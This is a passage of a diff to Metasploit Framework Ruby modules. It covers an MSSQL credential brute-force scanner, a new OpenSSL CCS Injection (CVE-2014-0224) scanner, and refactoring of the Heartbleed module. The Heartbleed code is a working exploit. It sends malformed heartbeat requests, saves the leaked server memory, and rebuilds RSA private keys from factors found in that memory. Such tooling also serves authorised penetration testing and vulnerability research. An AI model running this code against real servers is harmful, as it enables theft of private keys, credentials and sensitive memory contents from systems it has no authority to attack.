user_as_pass: datastore['USER_AS_PASS'],
|
||||
realm: datastore['DOMAIN']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::MSSQL.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
proxies: datastore['PROXIES'],
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: 30,
|
||||
windows_authentication: datastore['USE_WINDOWS_AUTHENT']
|
||||
)
|
||||
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: 'mssql',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
# The service should already be reported at this point courtesy of
|
||||
# report_auth_info, but this is currently the only way to give it a
|
||||
# name.
|
||||
report_service({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => 'mssql'
|
||||
})
|
||||
end
|
||||
|
||||
def do_login(user='sa', pass='', verbose=false)
|
||||
vprint_status("#{rhost}:#{rport} - MSSQL - Trying username:'#{user}' with password:'#{pass}'")
|
||||
begin
|
||||
success = mssql_login(user, pass)
|
||||
scanner.scan! do |result|
|
||||
if result.success?
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
private_data: result.credential.private,
|
||||
private_type: :password,
|
||||
username: result.credential.public
|
||||
}
|
||||
|
||||
if (success)
|
||||
print_good("#{rhost}:#{rport} - MSSQL - successful login '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'mssql',
|
||||
:user => user.downcase,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
)
|
||||
return :next_user
|
||||
if datastore['USE_WINDOWS_AUTHENT']
|
||||
credential_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
credential_data[:realm_value] = result.credential.realm
|
||||
end
|
||||
credential_data.merge!(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Credential::Login::Status::SUCCESSFUL
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} failed to login as '#{user}'")
|
||||
return
|
||||
login_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
public: result.credential.public,
|
||||
private: result.credential.private,
|
||||
realm_key: nil,
|
||||
realm_value: nil,
|
||||
status: result.status
|
||||
}
|
||||
if datastore['USE_WINDOWS_AUTHENT']
|
||||
login_data[:realm_key] = Metasploit::Credential::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
|
||||
login_data[:realm_value] = result.credential.realm
|
||||
end
|
||||
invalidate_login(login_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} connection failed")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,207 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
CIPHER_SUITES = [
|
||||
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
|
||||
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
|
||||
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
|
||||
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
|
||||
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|
||||
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
|
||||
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
|
||||
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
|
||||
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|
||||
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
|
||||
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
|
||||
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
|
||||
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
|
||||
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
|
||||
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
|
||||
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
|
||||
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
|
||||
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|
||||
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
|
||||
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
|
||||
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
|
||||
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
|
||||
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|
||||
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
|
||||
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
|
||||
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
|
||||
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
|
||||
0x0005, # TLS_RSA_WITH_RC4_128_SHA
|
||||
0x0004, # TLS_RSA_WITH_RC4_128_MD5
|
||||
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
|
||||
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
|
||||
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
|
||||
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
|
||||
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
|
||||
0x00ff # Unknown
|
||||
]
|
||||
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
CCS_RECORD_TYPE = 0x14
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
'1.1' => 0x0302,
|
||||
'1.2' => 0x0303
|
||||
}
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
|
||||
'Description' => %q{
|
||||
This module checks for the OpenSSL ChageCipherSpec (CCS)
|
||||
Injection vulnerability. The problem exists in the handling of early
|
||||
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
|
||||
them, while later implementations do not. If successful, an attacker can leverage this
|
||||
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
|
||||
between a client and server. This issue was first reported in early June, 2014.
|
||||
},
|
||||
'Author' => [
|
||||
'Masashi Kikuchi', # Vulnerability discovery
|
||||
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
|
||||
'juan vazquez' # Msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0224'],
|
||||
['URL', 'http://ccsinjection.lepidum.co.jp/'],
|
||||
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
|
||||
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
|
||||
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 5 2014',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def response_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ccs_injection
|
||||
end
|
||||
|
||||
def ccs_injection
|
||||
connect_result = establish_connect
|
||||
return if connect_result.nil?
|
||||
|
||||
vprint_status("#{peer} - Sending CCS...")
|
||||
sock.put(ccs)
|
||||
alert = sock.get_once(-1, response_timeout)
|
||||
if alert.blank?
|
||||
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
|
||||
report
|
||||
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
|
||||
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
|
||||
elsif alert
|
||||
vprint_warning("#{peer} - Unexpected response.")
|
||||
end
|
||||
end
|
||||
|
||||
def report
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully detected CCS injection"
|
||||
})
|
||||
end
|
||||
|
||||
def ccs
|
||||
payload = "\x01" # Change Cipher Spec Message
|
||||
|
||||
ssl_record(CCS_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack("n") # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
server_hello = sock.get(response_timeout)
|
||||
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -3,6 +3,12 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
|
||||
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
|
||||
# but there were too many errors
|
||||
# TODO: Parse the rest of the server responses and return a hash with the data
|
||||
# TODO: Extract the relevant functions and include them in the framework
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
0x00ff # Unknown
|
||||
]
|
||||
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
|
||||
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
|
||||
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
|
||||
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
|
||||
|
||||
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
|
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Opt::RPORT(443),
|
||||
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
|
||||
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
|
||||
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
|
||||
|
@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
|
||||
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
|
||||
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Main methods
|
||||
#
|
||||
|
||||
# Called when using check
|
||||
def check_host(ip)
|
||||
@check_only = true
|
||||
vprint_status "#{peer} - Checking for Heartbleed exposure"
|
||||
|
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run
|
||||
if heartbeat_length > 65535 || heartbeat_length < 0
|
||||
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
|
||||
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
|
||||
return
|
||||
end
|
||||
|
||||
if response_timeout < 0
|
||||
print_error("RESPONSE_TIMEOUT should be bigger than 0")
|
||||
print_error('RESPONSE_TIMEOUT should be bigger than 0')
|
||||
return
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run_host(ip)
|
||||
# initial connect to get public key and stuff
|
||||
connect_result = establish_connect
|
||||
disconnect
|
||||
return if connect_result.nil?
|
||||
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
end
|
||||
|
||||
# ensure all connections are closed
|
||||
disconnect
|
||||
end
|
||||
|
||||
#
|
||||
# DATASTORE values
|
||||
#
|
||||
|
||||
# If this is merely a check, set to the RFC-defined
|
||||
# maximum padding length of 2^14. See:
|
||||
# https://tools.ietf.org/html/rfc6520#section-4
|
||||
|
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if @check_only
|
||||
SAFE_CHECK_MAX_RECORD_LENGTH
|
||||
else
|
||||
datastore["HEARTBEAT_LENGTH"]
|
||||
datastore['HEARTBEAT_LENGTH']
|
||||
end
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def response_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
def tls_version
|
||||
datastore['TLS_VERSION']
|
||||
end
|
||||
|
||||
def dumpfilter
|
||||
datastore['DUMPFILTER']
|
||||
end
|
||||
|
||||
def max_keytries
|
||||
datastore['MAX_KEYTRIES']
|
||||
end
|
||||
|
||||
def xmpp_domain
|
||||
datastore['XMPPDOMAIN']
|
||||
end
|
||||
|
||||
def status_every
|
||||
datastore['STATUS_EVERY']
|
||||
end
|
||||
|
||||
def tls_callback
|
||||
datastore['TLS_CALLBACK']
|
||||
end
|
||||
|
||||
#
|
||||
# TLS Callbacks
|
||||
#
|
||||
|
||||
def tls_smtp
|
||||
# https://tools.ietf.org/html/rfc3207
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
|
||||
unless res && res =~ /STARTTLS/
|
||||
return nil
|
||||
end
|
||||
sock.put("STARTTLS\r\n")
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
end
|
||||
|
||||
def tls_imap
|
||||
# http://tools.ietf.org/html/rfc2595
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("a001 CAPABILITY\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
unless res && res =~ /STARTTLS/i
|
||||
return nil
|
||||
end
|
||||
sock.put("a002 STARTTLS\r\n")
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
end
|
||||
|
||||
def tls_postgres
|
||||
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
|
||||
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
|
||||
sock.get_once
|
||||
get_data
|
||||
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
|
||||
# int16(5679) in network format
|
||||
psql_sslrequest = [8].pack('N')
|
||||
psql_sslrequest << [1234, 5679].pack('n*')
|
||||
sock.put(psql_sslrequest)
|
||||
res = sock.get_once
|
||||
res = get_data
|
||||
unless res && res =~ /S/
|
||||
return nil
|
||||
end
|
||||
|
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def tls_pop3
|
||||
# http://tools.ietf.org/html/rfc2595
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("CAPA\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res.nil? || res =~ /^-/ || res !~ /STLS/
|
||||
return nil
|
||||
end
|
||||
sock.put("STLS\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res.nil? || res =~ /^-/
|
||||
return nil
|
||||
end
|
||||
|
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def tls_jabber
|
||||
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
|
||||
sock.put(jabber_connect_msg(xmpp_domain))
|
||||
res = sock.get(response_timeout)
|
||||
if res && res.include?('host-unknown')
|
||||
jabber_host = res.match(/ from='([\w.]*)' /)
|
||||
if jabber_host && jabber_host[1]
|
||||
disconnect
|
||||
connect
|
||||
establish_connect
|
||||
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
|
||||
sock.put(jabber_connect_msg(jabber_host[1]))
|
||||
res = sock.get(response_timeout)
|
||||
|
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res = sock.get(response_timeout)
|
||||
return nil if res.nil?
|
||||
sock.put("AUTH TLS\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
return nil if res.nil?
|
||||
if res !~ /^234/
|
||||
# res contains the error message
|
||||
|
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys()
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
return
|
||||
#
|
||||
# Helper Methods
|
||||
#
|
||||
|
||||
# Get data from the socket
|
||||
# this ensures the requested length is read (if available)
|
||||
def get_data(length = -1)
|
||||
|
||||
return sock.get_once(-1, response_timeout) if length == -1
|
||||
|
||||
to_receive = length
|
||||
data = ''
|
||||
while to_receive > 0
|
||||
temp = sock.get_once(to_receive, response_timeout)
|
||||
break if temp.nil?
|
||||
|
||||
data << temp
|
||||
to_receive -= temp.length
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def to_hex_string(data)
|
||||
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
|
||||
end
|
||||
|
||||
# establishes a connect and parses the server response
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless tls_callback == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
|
||||
res = self.send(TLS_CALLBACKS[tls_callback])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed = parse_ssl_record(server_hello)
|
||||
|
||||
if server_resp_parsed.nil?
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed
|
||||
end
|
||||
|
||||
# Generates a heartbeat request
|
||||
def heartbeat_request(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack('n') # Payload Length: 65535
|
||||
|
||||
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
# Generates, sends and receives a heartbeat message
|
||||
def bleed
|
||||
# This actually performs the heartbleed portion
|
||||
connect_result = establish_connect
|
||||
return if connect_result.nil?
|
||||
|
||||
vprint_status("#{peer} - Sending Heartbeat...")
|
||||
sock.put(heartbeat(heartbeat_length))
|
||||
hdr = sock.get_once(5, response_timeout)
|
||||
if hdr.blank?
|
||||
sock.put(heartbeat_request(heartbeat_length))
|
||||
hdr = get_data(5)
|
||||
if hdr.nil? || hdr.empty?
|
||||
vprint_error("#{peer} - No Heartbeat response...")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# try to get the TLS error
|
||||
if type == ALERT_RECORD_TYPE
|
||||
res = sock.get_once(len, response_timeout)
|
||||
res = get_data(len)
|
||||
alert_unp = res.unpack('CC')
|
||||
alert_level = alert_unp[0]
|
||||
alert_desc = alert_unp[1]
|
||||
msg = "Unknown error"
|
||||
|
||||
# http://tools.ietf.org/html/rfc5246#section-7.2
|
||||
case alert_desc
|
||||
when 0x46
|
||||
msg = "Protocol error. Looks like the chosen protocol is not supported."
|
||||
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
|
||||
else
|
||||
msg = 'Unknown error'
|
||||
end
|
||||
vprint_error("#{peer} - #{msg}")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response")
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
|
||||
heartbeat_data = get_data(heartbeat_length)
|
||||
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
|
||||
disconnect
|
||||
heartbeat_data
|
||||
end
|
||||
|
||||
# Stores received data
|
||||
def loot_and_report(heartbeat_data)
|
||||
|
||||
unless heartbeat_data
|
||||
|
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if action.name == 'DUMP' # Check mode, dump if requested.
|
||||
pattern = datastore['DUMPFILTER']
|
||||
pattern = dumpfilter
|
||||
if pattern
|
||||
match_data = heartbeat_data.scan(pattern).join
|
||||
else
|
||||
match_data = heartbeat_data
|
||||
end
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"application/octet-stream",
|
||||
'openssl.heartbleed.server',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
match_data,
|
||||
nil,
|
||||
"OpenSSL Heartbleed server memory"
|
||||
'OpenSSL Heartbleed server memory'
|
||||
)
|
||||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||
end
|
||||
|
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def getkeys()
|
||||
unless datastore['TLS_CALLBACK'] == 'None'
|
||||
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
|
||||
return
|
||||
end
|
||||
#
|
||||
# Keydumoing helper methods
|
||||
#
|
||||
|
||||
# Tries to retreive the private key
|
||||
def getkeys
|
||||
print_status("#{peer} - Scanning for private keys")
|
||||
count = 0
|
||||
|
||||
|
@ -423,13 +551,16 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("#{peer} - e: #{e}")
|
||||
print_status("#{peer} - #{Time.now.getutc} - Starting.")
|
||||
|
||||
datastore['MAX_KEYTRIES'].times {
|
||||
max_keytries.times {
|
||||
# Loop up to MAX_KEYTRIES times, looking for keys
|
||||
if count % datastore['STATUS_EVERY'] == 0
|
||||
if count % status_every == 0
|
||||
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
|
||||
end
|
||||
|
||||
p, q = get_factors(bleed, n) # Try to find factors in mem
|
||||
bleedresult = bleed
|
||||
return unless bleedresult
|
||||
|
||||
p, q = get_factors(bleedresult, n) # Try to find factors in mem
|
||||
|
||||
unless p.nil? || q.nil?
|
||||
key = key_from_pqe(p, q, e)
|
||||
|
@ -437,75 +568,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
print_status(key.export)
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"text/plain",
|
||||
'openssl.heartbleed.server',
|
||||
'text/plain',
|
||||
rhost,
|
||||
key.export,
|
||||
nil,
|
||||
"OpenSSL Heartbleed Private Key"
|
||||
'OpenSSL Heartbleed Private Key'
|
||||
)
|
||||
print_status("#{peer} - Private key stored in #{path}")
|
||||
return
|
||||
end
|
||||
count += 1
|
||||
}
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
|
||||
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES and/or HEARTBEAT_LENGTH.")
|
||||
end
|
||||
|
||||
def heartbeat(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack("n") # Payload Length: 65535
|
||||
|
||||
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
